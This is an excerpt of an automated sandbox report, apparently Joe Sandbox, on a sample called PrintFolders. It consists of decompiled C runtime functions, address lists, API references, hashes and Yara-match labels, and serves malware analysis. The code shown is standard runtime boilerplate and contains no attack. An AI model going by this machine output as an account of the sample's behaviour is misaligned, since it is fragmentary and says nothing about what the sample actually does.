                                                          0x0042128b
                                                          0x0042128f
                                                          0x00000000
                                                          0x00000000
                                                          0x00421291
                                                          0x00000000
                                                          0x00421291

                                                          APIs
                                                          • __alloca_probe_16.LIBCMT ref: 00421286
                                                          • __alloca_probe_16.LIBCMT ref: 0042134C
                                                          • __freea.LIBCMT ref: 004213B8
                                                            • Part of subcall function 0041ED2F: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040FF9B,?,?,?,?,?,00403757,?,?,?), ref: 0041ED61
                                                          • __freea.LIBCMT ref: 004213C1
                                                          • __freea.LIBCMT ref: 004213E4
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: __freea$__alloca_probe_16$AllocateHeap
                                                          • String ID: tIB
                                                          • API String ID: 1423051803-366005614
                                                          • Opcode ID: 8bcbbfb6db70486236c34e29ace3ccf3bdd9e9482cebc72fef7cc3ecca7d4215
                                                          • Instruction ID: af5f65ccc48ee5d63aac88402d645400baba8313a5c2bd7b01ea6e1089fcebf7
                                                          • Opcode Fuzzy Hash: 8bcbbfb6db70486236c34e29ace3ccf3bdd9e9482cebc72fef7cc3ecca7d4215
                                                          • Instruction Fuzzy Hash: E8511472700226ABEF209E55EC41FBF36AADF60754F64016BFC04E6260E73CDD5186A8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 82%
                                                          			E100033D6(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				intOrPtr _t34;
                                                          				signed int _t40;
                                                          				signed int _t42;
                                                          				signed int _t45;
                                                          				signed char _t54;
                                                          				signed int _t56;
                                                          				signed int _t58;
                                                          				void* _t61;
                                                          				void* _t68;
                                                          				signed int _t72;
                                                          				signed int _t76;
                                                          				signed int _t80;
                                                          				void* _t82;
                                                          
                                                          				_t68 = __edx;
                                                          				_push(0x10);
                                                          				_push(0x10015730);
                                                          				E10003C50(__ebx, __edi, __esi);
                                                          				_t34 =  *0x10017968; // 0x1
                                                          				if(_t34 > 0) {
                                                          					 *0x10017968 = _t34 - 1;
                                                          					 *(_t82 - 0x1c) = 1;
                                                          					 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
                                                          					 *((char*)(_t82 - 0x20)) = E1000383A();
                                                          					 *(_t82 - 4) = 1;
                                                          					__eflags =  *0x10017ca0 - 2;
                                                          					if( *0x10017ca0 != 2) {
                                                          						E10003AD4(_t68, 1, __esi, 7);
                                                          						asm("int3");
                                                          						_push(0xc);
                                                          						_push(0x10015758);
                                                          						E10003C50(__ebx, 1, __esi);
                                                          						_t72 =  *(_t82 + 0xc);
                                                          						__eflags = _t72;
                                                          						if(_t72 != 0) {
                                                          							L9:
                                                          							 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
                                                          							__eflags = _t72 - 1;
                                                          							if(_t72 == 1) {
                                                          								L12:
                                                          								_t58 =  *(_t82 + 0x10);
                                                          								_t76 = E10003591( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
                                                          								 *(_t82 - 0x1c) = _t76;
                                                          								__eflags = _t76;
                                                          								if(_t76 != 0) {
                                                          									_t76 = E1000327C(_t58, _t61, _t68, _t72, _t76,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
                                                          									 *(_t82 - 0x1c) = _t76;
                                                          									__eflags = _t76;
                                                          									if(_t76 != 0) {
                                                          										goto L14;
                                                          									}
                                                          								}
                                                          							} else {
                                                          								__eflags = _t72 - 2;
                                                          								if(_t72 == 2) {
                                                          									goto L12;
                                                          								} else {
                                                          									_t58 =  *(_t82 + 0x10);
                                                          									L14:
                                                          									_push(_t58);
                                                          									_push(_t72);
                                                          									_push( *((intOrPtr*)(_t82 + 8)));
                                                          									_t42 = E10001000();
                                                          									_t76 = _t42;
                                                          									 *(_t82 - 0x1c) = _t76;
                                                          									__eflags = _t72 - 1;
                                                          									if(_t72 == 1) {
                                                          										__eflags = _t76;
                                                          										if(_t76 == 0) {
                                                          											_push(_t58);
                                                          											_push(_t42);
                                                          											_push( *((intOrPtr*)(_t82 + 8)));
                                                          											_t45 = E10001000();
                                                          											__eflags = _t58;
                                                          											_t25 = _t58 != 0;
                                                          											__eflags = _t25;
                                                          											_push((_t45 & 0xffffff00 | _t25) & 0x000000ff);
                                                          											E100033D6(_t58, _t68, _t72, _t76, _t25);
                                                          											_pop(_t61);
                                                          											E10003591( *((intOrPtr*)(_t82 + 8)), _t76, _t58);
                                                          										}
                                                          									}
                                                          									__eflags = _t72;
                                                          									if(_t72 == 0) {
                                                          										L19:
                                                          										_t76 = E1000327C(_t58, _t61, _t68, _t72, _t76,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
                                                          										 *(_t82 - 0x1c) = _t76;
                                                          										__eflags = _t76;
                                                          										if(_t76 != 0) {
                                                          											_t76 = E10003591( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
                                                          											 *(_t82 - 0x1c) = _t76;
                                                          										}
                                                          									} else {
                                                          										__eflags = _t72 - 3;
                                                          										if(_t72 == 3) {
                                                          											goto L19;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          							 *(_t82 - 4) = 0xfffffffe;
                                                          							_t40 = _t76;
                                                          						} else {
                                                          							__eflags =  *0x10017968 - _t72; // 0x1
                                                          							if(__eflags > 0) {
                                                          								goto L9;
                                                          							} else {
                                                          								_t40 = 0;
                                                          							}
                                                          						}
                                                          						 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
                                                          						return _t40;
                                                          					} else {
                                                          						E10003905(__ebx, _t61, 1, __esi);
                                                          						E100037C7();
                                                          						E10003C23();
                                                          						 *0x10017ca0 =  *0x10017ca0 & 0x00000000;
                                                          						 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
                                                          						E1000346B();
                                                          						_t54 = E10003AA6( *((intOrPtr*)(_t82 + 8)), 0);
                                                          						asm("sbb esi, esi");
                                                          						_t80 =  ~(_t54 & 0x000000ff) & 1;
                                                          						__eflags = _t80;
                                                          						 *(_t82 - 0x1c) = _t80;
                                                          						 *(_t82 - 4) = 0xfffffffe;
                                                          						E10003478();
                                                          						_t56 = _t80;
                                                          						goto L4;
                                                          					}
                                                          				} else {
                                                          					_t56 = 0;
                                                          					L4:
                                                          					 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
                                                          					return _t56;
                                                          				}
                                                          			}
















                                                          0x100033d6
                                                          0x100033d6
                                                          0x100033d8
                                                          0x100033dd
                                                          0x100033e2
                                                          0x100033e9
                                                          0x100033f0
                                                          0x100033f8
                                                          0x100033fb
                                                          0x10003404
                                                          0x10003407
                                                          0x1000340a
                                                          0x10003411
                                                          0x10003480
                                                          0x10003485
                                                          0x10003486
                                                          0x10003488
                                                          0x1000348d
                                                          0x10003492
                                                          0x10003495
                                                          0x10003497
                                                          0x100034a8
                                                          0x100034a8
                                                          0x100034ac
                                                          0x100034af
                                                          0x100034bb
                                                          0x100034bb
                                                          0x100034c8
                                                          0x100034ca
                                                          0x100034cd
                                                          0x100034cf
                                                          0x100034df
                                                          0x100034e1
                                                          0x100034e4
                                                          0x100034e6
                                                          0x00000000
                                                          0x00000000
                                                          0x100034e6
                                                          0x100034b1
                                                          0x100034b1
                                                          0x100034b4
                                                          0x00000000
                                                          0x100034b6
                                                          0x100034b6
                                                          0x100034ec
                                                          0x100034ec
                                                          0x100034ed
                                                          0x100034ee
                                                          0x100034f1
                                                          0x100034f6
                                                          0x100034f8
                                                          0x100034fb
                                                          0x100034fe
                                                          0x10003500
                                                          0x10003502
                                                          0x10003504
                                                          0x10003505
                                                          0x10003506
                                                          0x10003509
                                                          0x1000350e
                                                          0x10003510
                                                          0x10003510
                                                          0x10003516
                                                          0x10003517
                                                          0x1000351c
                                                          0x10003522
                                                          0x10003522
                                                          0x10003502
                                                          0x10003527
                                                          0x10003529
                                                          0x10003530
                                                          0x1000353a
                                                          0x1000353c
                                                          0x1000353f
                                                          0x10003541
                                                          0x1000354d
                                                          0x10003575
                                                          0x10003575
                                                          0x1000352b
                                                          0x1000352b
                                                          0x1000352e
                                                          0x00000000
                                                          0x00000000
                                                          0x1000352e
                                                          0x10003529
                                                          0x100034b4
                                                          0x10003578
                                                          0x1000357f
                                                          0x10003499
                                                          0x10003499
                                                          0x1000349f
                                                          0x00000000
                                                          0x100034a1
                                                          0x100034a1
                                                          0x100034a1
                                                          0x1000349f
                                                          0x10003584
                                                          0x10003590
                                                          0x10003413
                                                          0x10003413
                                                          0x10003418
                                                          0x1000341d
                                                          0x10003422
                                                          0x10003429
                                                          0x1000342d
                                                          0x10003437
                                                          0x10003443
                                                          0x10003445
                                                          0x10003445
                                                          0x10003447
                                                          0x1000344a
                                                          0x10003451
                                                          0x10003456
                                                          0x00000000
                                                          0x10003456
                                                          0x100033eb
                                                          0x100033eb
                                                          0x10003458
                                                          0x1000345b
                                                          0x10003467
                                                          0x10003467

                                                          APIs
                                                          • __RTC_Initialize.LIBCMT ref: 1000341D
                                                          • ___scrt_uninitialize_crt.LIBCMT ref: 10003437
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: Initialize___scrt_uninitialize_crt
                                                          • String ID:
                                                          • API String ID: 2442719207-0
                                                          • Opcode ID: fb96ed7170912c531198425769cf64f804bb219cb4c682d5ecc3c1bbbb0e391b
                                                          • Instruction ID: f2d724fec1a198361f11823c952c0a5602674603fef4946e569f0555ef38e7cd
                                                          • Opcode Fuzzy Hash: fb96ed7170912c531198425769cf64f804bb219cb4c682d5ecc3c1bbbb0e391b
                                                          • Instruction Fuzzy Hash: CB41C372D04A65ABFB13CF64CC42B9F7BACEB446D2F11C119F8446A269D730AE418B90
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          • _ValidateLocalCookies.LIBCMT ref: 0043EA97
                                                          • ___except_validate_context_record.LIBVCRUNTIME ref: 0043EA9F
                                                          • _ValidateLocalCookies.LIBCMT ref: 0043EB28
                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 0043EB53
                                                          • _ValidateLocalCookies.LIBCMT ref: 0043EBA8
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                          • String ID: csm
                                                          • API String ID: 1170836740-1018135373
                                                          • Opcode ID: 97abf38324731e32aa54c8af95c8715b679c63eee41a74b9c7ea5a5f1bcbe85c
                                                          • Instruction ID: 56324905b5cf03f36623b407c9bca58900183bbae34251306b30c85aa47bf572
                                                          • Opcode Fuzzy Hash: 97abf38324731e32aa54c8af95c8715b679c63eee41a74b9c7ea5a5f1bcbe85c
                                                          • Instruction Fuzzy Hash: A941EB30A01208EBCF10DF6AC885A9EBBB1FF4C318F14915AE8155B3D2C779E911CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 64%
                                                          			E00411BE0(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
                                                          				char _v5;
                                                          				signed int _v12;
                                                          				char _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v24;
                                                          				intOrPtr _v28;
                                                          				char _v32;
                                                          				intOrPtr _v36;
                                                          				intOrPtr _v40;
                                                          				char _t56;
                                                          				signed int _t63;
                                                          				intOrPtr _t64;
                                                          				void* _t65;
                                                          				intOrPtr* _t66;
                                                          				intOrPtr _t68;
                                                          				intOrPtr _t70;
                                                          				signed int _t71;
                                                          				signed int _t72;
                                                          				signed int _t75;
                                                          				intOrPtr* _t79;
                                                          				intOrPtr _t80;
                                                          				signed int _t84;
                                                          				char _t86;
                                                          				intOrPtr _t90;
                                                          				intOrPtr* _t91;
                                                          				signed int _t97;
                                                          				signed int _t98;
                                                          				intOrPtr _t100;
                                                          				intOrPtr _t103;
                                                          				signed int _t105;
                                                          				void* _t108;
                                                          				void* _t109;
                                                          				void* _t115;
                                                          
                                                          				_t94 = __edx;
                                                          				_t79 = _a4;
                                                          				_push(__edi);
                                                          				_v5 = 0;
                                                          				_v16 = 1;
                                                          				 *_t79 = E0042C1EE(__ecx,  *_t79);
                                                          				_t80 = _a8;
                                                          				_t6 = _t80 + 0x10; // 0x11
                                                          				_t103 = _t6;
                                                          				_push(_t103);
                                                          				_v20 = _t103;
                                                          				_v12 =  *(_t80 + 8) ^  *0x43d054;
                                                          				E00411BA0(_t80, __edx, __edi, _t103,  *(_t80 + 8) ^  *0x43d054);
                                                          				E00412C3C(_a12);
                                                          				_t56 = _a4;
                                                          				_t109 = _t108 + 0x10;
                                                          				_t100 =  *((intOrPtr*)(_t80 + 0xc));
                                                          				if(( *(_t56 + 4) & 0x00000066) != 0) {
                                                          					__eflags = _t100 - 0xfffffffe;
                                                          					if(_t100 != 0xfffffffe) {
                                                          						_t94 = 0xfffffffe;
                                                          						E00412F60(_t80, 0xfffffffe, _t103, 0x43d054);
                                                          						goto L13;
                                                          					}
                                                          					goto L14;
                                                          				} else {
                                                          					_v32 = _t56;
                                                          					_v28 = _a12;
                                                          					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
                                                          					if(_t100 == 0xfffffffe) {
                                                          						L14:
                                                          						return _v16;
                                                          					} else {
                                                          						do {
                                                          							_t84 = _v12;
                                                          							_t63 = _t100 + (_t100 + 2) * 2;
                                                          							_t80 =  *((intOrPtr*)(_t84 + _t63 * 4));
                                                          							_t64 = _t84 + _t63 * 4;
                                                          							_t85 =  *((intOrPtr*)(_t64 + 4));
                                                          							_v24 = _t64;
                                                          							if( *((intOrPtr*)(_t64 + 4)) == 0) {
                                                          								_t86 = _v5;
                                                          								goto L7;
                                                          							} else {
                                                          								_t94 = _t103;
                                                          								_t65 = E00412F00(_t85, _t103);
                                                          								_t86 = 1;
                                                          								_v5 = 1;
                                                          								_t115 = _t65;
                                                          								if(_t115 < 0) {
                                                          									_v16 = 0;
                                                          									L13:
                                                          									_push(_t103);
                                                          									E00411BA0(_t80, _t94, _t100, _t103, _v12);
                                                          									goto L14;
                                                          								} else {
                                                          									if(_t115 > 0) {
                                                          										_t66 = _a4;
                                                          										__eflags =  *_t66 - 0xe06d7363;
                                                          										if( *_t66 == 0xe06d7363) {
                                                          											__eflags =  *0x42f198;
                                                          											if(__eflags != 0) {
                                                          												_t75 = E0042BBF0(__eflags, 0x42f198);
                                                          												_t109 = _t109 + 4;
                                                          												__eflags = _t75;
                                                          												if(_t75 != 0) {
                                                          													_t105 =  *0x42f198; // 0x40fff3
                                                          													 *0x42e234(_a4, 1);
                                                          													 *_t105();
                                                          													_t103 = _v20;
                                                          													_t109 = _t109 + 8;
                                                          												}
                                                          												_t66 = _a4;
                                                          											}
                                                          										}
                                                          										_t95 = _t66;
                                                          										E00412F40(_t66, _a8, _t66);
                                                          										_t68 = _a8;
                                                          										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t100;
                                                          										if( *((intOrPtr*)(_t68 + 0xc)) != _t100) {
                                                          											_t95 = _t100;
                                                          											E00412F60(_t68, _t100, _t103, 0x43d054);
                                                          											_t68 = _a8;
                                                          										}
                                                          										_push(_t103);
                                                          										 *((intOrPtr*)(_t68 + 0xc)) = _t80;
                                                          										E00411BA0(_t80, _t95, _t100, _t103, _v12);
                                                          										E00412F20();
                                                          										asm("int3");
                                                          										_t70 = _v40;
                                                          										_t90 = _v36;
                                                          										__eflags = _t70 - _t90;
                                                          										if(_t70 != _t90) {
                                                          											_t91 = _t90 + 5;
                                                          											_t71 = _t70 + 5;
                                                          											__eflags = _t71;
                                                          											while(1) {
                                                          												_t97 =  *_t71;
                                                          												__eflags = _t97 -  *_t91;
                                                          												if(_t97 !=  *_t91) {
                                                          													break;
                                                          												}
                                                          												__eflags = _t97;
                                                          												if(_t97 == 0) {
                                                          													goto L24;
                                                          												} else {
                                                          													_t98 =  *((intOrPtr*)(_t71 + 1));
                                                          													__eflags = _t98 -  *((intOrPtr*)(_t91 + 1));
                                                          													if(_t98 !=  *((intOrPtr*)(_t91 + 1))) {
                                                          														break;
                                                          													} else {
                                                          														_t71 = _t71 + 2;
                                                          														_t91 = _t91 + 2;
                                                          														__eflags = _t98;
                                                          														if(_t98 != 0) {
                                                          															continue;
                                                          														} else {
                                                          															goto L24;
                                                          														}
                                                          													}
                                                          												}
                                                          												goto L32;
                                                          											}
                                                          											asm("sbb eax, eax");
                                                          											_t72 = _t71 | 0x00000001;
                                                          											__eflags = _t72;
                                                          											return _t72;
                                                          										} else {
                                                          											L24:
                                                          											__eflags = 0;
                                                          											return 0;
                                                          										}
                                                          									} else {
                                                          										goto L7;
                                                          									}
                                                          								}
                                                          							}
                                                          							goto L32;
                                                          							L7:
                                                          							_t100 = _t80;
                                                          						} while (_t80 != 0xfffffffe);
                                                          						if(_t86 != 0) {
                                                          							goto L13;
                                                          						}
                                                          						goto L14;
                                                          					}
                                                          				}
                                                          				L32:
                                                          			}




































                                                          0x00411be0
                                                          0x00411be7
                                                          0x00411beb
                                                          0x00411bec
                                                          0x00411bf2
                                                          0x00411bfe
                                                          0x00411c00
                                                          0x00411c06
                                                          0x00411c06
                                                          0x00411c0f
                                                          0x00411c11
                                                          0x00411c14
                                                          0x00411c17
                                                          0x00411c1f
                                                          0x00411c24
                                                          0x00411c27
                                                          0x00411c2a
                                                          0x00411c31
                                                          0x00411c8d
                                                          0x00411c90
                                                          0x00411c98
                                                          0x00411c9f
                                                          0x00000000
                                                          0x00411c9f
                                                          0x00000000
                                                          0x00411c33
                                                          0x00411c33
                                                          0x00411c39
                                                          0x00411c3f
                                                          0x00411c45
                                                          0x00411cb0
                                                          0x00411cb9
                                                          0x00411c47
                                                          0x00411c47
                                                          0x00411c47
                                                          0x00411c4d
                                                          0x00411c50
                                                          0x00411c53
                                                          0x00411c56
                                                          0x00411c59
                                                          0x00411c5e
                                                          0x00411c74
                                                          0x00000000
                                                          0x00411c60
                                                          0x00411c60
                                                          0x00411c62
                                                          0x00411c67
                                                          0x00411c69
                                                          0x00411c6c
                                                          0x00411c6e
                                                          0x00411c84
                                                          0x00411ca4
                                                          0x00411ca4
                                                          0x00411ca8
                                                          0x00000000
                                                          0x00411c70
                                                          0x00411c70
                                                          0x00411cba
                                                          0x00411cbd
                                                          0x00411cc3
                                                          0x00411cc5
                                                          0x00411ccc
                                                          0x00411cd3
                                                          0x00411cd8
                                                          0x00411cdb
                                                          0x00411cdd
                                                          0x00411cdf
                                                          0x00411cec
                                                          0x00411cf2
                                                          0x00411cf4
                                                          0x00411cf7
                                                          0x00411cf7
                                                          0x00411cfa
                                                          0x00411cfa
                                                          0x00411ccc
                                                          0x00411d00
                                                          0x00411d02
                                                          0x00411d07
                                                          0x00411d0a
                                                          0x00411d0d
                                                          0x00411d15
                                                          0x00411d19
                                                          0x00411d1e
                                                          0x00411d1e
                                                          0x00411d21
                                                          0x00411d25
                                                          0x00411d28
                                                          0x00411d38
                                                          0x00411d3d
                                                          0x00411d41
                                                          0x00411d44
                                                          0x00411d47
                                                          0x00411d49
                                                          0x00411d4f
                                                          0x00411d52
                                                          0x00411d52
                                                          0x00411d55
                                                          0x00411d55
                                                          0x00411d57
                                                          0x00411d59
                                                          0x00000000
                                                          0x00000000
                                                          0x00411d5b
                                                          0x00411d5d
                                                          0x00000000
                                                          0x00411d5f
                                                          0x00411d5f
                                                          0x00411d62
                                                          0x00411d65
                                                          0x00000000
                                                          0x00411d67
                                                          0x00411d67
                                                          0x00411d6a
                                                          0x00411d6d
                                                          0x00411d6f
                                                          0x00000000
                                                          0x00411d71
                                                          0x00000000
                                                          0x00411d71
                                                          0x00411d6f
                                                          0x00411d65
                                                          0x00000000
                                                          0x00411d5d
                                                          0x00411d73
                                                          0x00411d75
                                                          0x00411d75
                                                          0x00411d79
                                                          0x00411d4b
                                                          0x00411d4b
                                                          0x00411d4b
                                                          0x00411d4e
                                                          0x00411d4e
                                                          0x00411c72
                                                          0x00000000
                                                          0x00411c72
                                                          0x00411c70
                                                          0x00411c6e
                                                          0x00000000
                                                          0x00411c77
                                                          0x00411c77
                                                          0x00411c79
                                                          0x00411c80
                                                          0x00000000
                                                          0x00411c82
                                                          0x00000000
                                                          0x00411c80
                                                          0x00411c45
                                                          0x00000000

                                                          APIs
                                                          • _ValidateLocalCookies.LIBCMT ref: 00411C17
                                                          • ___except_validate_context_record.LIBVCRUNTIME ref: 00411C1F
                                                          • _ValidateLocalCookies.LIBCMT ref: 00411CA8
                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00411CD3
                                                          • _ValidateLocalCookies.LIBCMT ref: 00411D28
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                          • String ID: csm
                                                          • API String ID: 1170836740-1018135373
                                                          • Opcode ID: e0701a756b8fd532e6c54edd9633cc2f37b64c963fcb2cfba846efdf3320919d
                                                          • Instruction ID: bee35b64c31f227da84885fae90110515caed0ba2fa3c8c6cd36066413939370
                                                          • Opcode Fuzzy Hash: e0701a756b8fd532e6c54edd9633cc2f37b64c963fcb2cfba846efdf3320919d
                                                          • Instruction Fuzzy Hash: 81412B30E002089BCF10DF69C880ADEBBB1EF05318F54805BEA149B361E779DA95CBD9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 64%
                                                          			E10004510(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
                                                          				char _v5;
                                                          				signed int _v12;
                                                          				char _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v24;
                                                          				intOrPtr _v28;
                                                          				char _v32;
                                                          				intOrPtr _v36;
                                                          				intOrPtr _v40;
                                                          				char _t56;
                                                          				signed int _t63;
                                                          				intOrPtr _t64;
                                                          				void* _t65;
                                                          				intOrPtr* _t66;
                                                          				intOrPtr _t68;
                                                          				intOrPtr _t70;
                                                          				signed int _t71;
                                                          				signed int _t72;
                                                          				signed int _t75;
                                                          				intOrPtr* _t79;
                                                          				intOrPtr _t80;
                                                          				signed int _t84;
                                                          				char _t86;
                                                          				intOrPtr _t90;
                                                          				intOrPtr* _t91;
                                                          				signed int _t97;
                                                          				signed int _t98;
                                                          				intOrPtr _t100;
                                                          				intOrPtr _t103;
                                                          				signed int _t105;
                                                          				void* _t108;
                                                          				void* _t109;
                                                          				void* _t115;
                                                          
                                                          				_t94 = __edx;
                                                          				_t79 = _a4;
                                                          				_push(__edi);
                                                          				_v5 = 0;
                                                          				_v16 = 1;
                                                          				 *_t79 = E1000F5EB(__ecx,  *_t79);
                                                          				_t80 = _a8;
                                                          				_t6 = _t80 + 0x10; // 0x11
                                                          				_t103 = _t6;
                                                          				_push(_t103);
                                                          				_v20 = _t103;
                                                          				_v12 =  *(_t80 + 8) ^  *0x10017004;
                                                          				E100044D0(_t80, __edx, __edi, _t103,  *(_t80 + 8) ^  *0x10017004);
                                                          				E1000574C(_a12);
                                                          				_t56 = _a4;
                                                          				_t109 = _t108 + 0x10;
                                                          				_t100 =  *((intOrPtr*)(_t80 + 0xc));
                                                          				if(( *(_t56 + 4) & 0x00000066) != 0) {
                                                          					__eflags = _t100 - 0xfffffffe;
                                                          					if(_t100 != 0xfffffffe) {
                                                          						_t94 = 0xfffffffe;
                                                          						E100058D0(_t80, 0xfffffffe, _t103, 0x10017004);
                                                          						goto L13;
                                                          					}
                                                          					goto L14;
                                                          				} else {
                                                          					_v32 = _t56;
                                                          					_v28 = _a12;
                                                          					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
                                                          					if(_t100 == 0xfffffffe) {
                                                          						L14:
                                                          						return _v16;
                                                          					} else {
                                                          						do {
                                                          							_t84 = _v12;
                                                          							_t63 = _t100 + (_t100 + 2) * 2;
                                                          							_t80 =  *((intOrPtr*)(_t84 + _t63 * 4));
                                                          							_t64 = _t84 + _t63 * 4;
                                                          							_t85 =  *((intOrPtr*)(_t64 + 4));
                                                          							_v24 = _t64;
                                                          							if( *((intOrPtr*)(_t64 + 4)) == 0) {
                                                          								_t86 = _v5;
                                                          								goto L7;
                                                          							} else {
                                                          								_t94 = _t103;
                                                          								_t65 = E10005870(_t85, _t103);
                                                          								_t86 = 1;
                                                          								_v5 = 1;
                                                          								_t115 = _t65;
                                                          								if(_t115 < 0) {
                                                          									_v16 = 0;
                                                          									L13:
                                                          									_push(_t103);
                                                          									E100044D0(_t80, _t94, _t100, _t103, _v12);
                                                          									goto L14;
                                                          								} else {
                                                          									if(_t115 > 0) {
                                                          										_t66 = _a4;
                                                          										__eflags =  *_t66 - 0xe06d7363;
                                                          										if( *_t66 == 0xe06d7363) {
                                                          											__eflags =  *0x1001022c;
                                                          											if(__eflags != 0) {
                                                          												_t75 = E1000F280(__eflags, 0x1001022c);
                                                          												_t109 = _t109 + 4;
                                                          												__eflags = _t75;
                                                          												if(_t75 != 0) {
                                                          													_t105 =  *0x1001022c; // 0x1000422f
                                                          													 *0x10010164(_a4, 1);
                                                          													 *_t105();
                                                          													_t103 = _v20;
                                                          													_t109 = _t109 + 8;
                                                          												}
                                                          												_t66 = _a4;
                                                          											}
                                                          										}
                                                          										_t95 = _t66;
                                                          										E100058B0(_t66, _a8, _t66);
                                                          										_t68 = _a8;
                                                          										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t100;
                                                          										if( *((intOrPtr*)(_t68 + 0xc)) != _t100) {
                                                          											_t95 = _t100;
                                                          											E100058D0(_t68, _t100, _t103, 0x10017004);
                                                          											_t68 = _a8;
                                                          										}
                                                          										_push(_t103);
                                                          										 *((intOrPtr*)(_t68 + 0xc)) = _t80;
                                                          										E100044D0(_t80, _t95, _t100, _t103, _v12);
                                                          										E10005890();
                                                          										asm("int3");
                                                          										_t70 = _v40;
                                                          										_t90 = _v36;
                                                          										__eflags = _t70 - _t90;
                                                          										if(_t70 != _t90) {
                                                          											_t91 = _t90 + 5;
                                                          											_t71 = _t70 + 5;
                                                          											__eflags = _t71;
                                                          											while(1) {
                                                          												_t97 =  *_t71;
                                                          												__eflags = _t97 -  *_t91;
                                                          												if(_t97 !=  *_t91) {
                                                          													break;
                                                          												}
                                                          												__eflags = _t97;
                                                          												if(_t97 == 0) {
                                                          													goto L24;
                                                          												} else {
                                                          													_t98 =  *((intOrPtr*)(_t71 + 1));
                                                          													__eflags = _t98 -  *((intOrPtr*)(_t91 + 1));
                                                          													if(_t98 !=  *((intOrPtr*)(_t91 + 1))) {
                                                          														break;
                                                          													} else {
                                                          														_t71 = _t71 + 2;
                                                          														_t91 = _t91 + 2;
                                                          														__eflags = _t98;
                                                          														if(_t98 != 0) {
                                                          															continue;
                                                          														} else {
                                                          															goto L24;
                                                          														}
                                                          													}
                                                          												}
                                                          												goto L32;
                                                          											}
                                                          											asm("sbb eax, eax");
                                                          											_t72 = _t71 | 0x00000001;
                                                          											__eflags = _t72;
                                                          											return _t72;
                                                          										} else {
                                                          											L24:
                                                          											__eflags = 0;
                                                          											return 0;
                                                          										}
                                                          									} else {
                                                          										goto L7;
                                                          									}
                                                          								}
                                                          							}
                                                          							goto L32;
                                                          							L7:
                                                          							_t100 = _t80;
                                                          						} while (_t80 != 0xfffffffe);
                                                          						if(_t86 != 0) {
                                                          							goto L13;
                                                          						}
                                                          						goto L14;
                                                          					}
                                                          				}
                                                          				L32:
                                                          			}




































                                                          0x10004510
                                                          0x10004517
                                                          0x1000451b
                                                          0x1000451c
                                                          0x10004522
                                                          0x1000452e
                                                          0x10004530
                                                          0x10004536
                                                          0x10004536
                                                          0x1000453f
                                                          0x10004541
                                                          0x10004544
                                                          0x10004547
                                                          0x1000454f
                                                          0x10004554
                                                          0x10004557
                                                          0x1000455a
                                                          0x10004561
                                                          0x100045bd
                                                          0x100045c0
                                                          0x100045c8
                                                          0x100045cf
                                                          0x00000000
                                                          0x100045cf
                                                          0x00000000
                                                          0x10004563
                                                          0x10004563
                                                          0x10004569
                                                          0x1000456f
                                                          0x10004575
                                                          0x100045e0
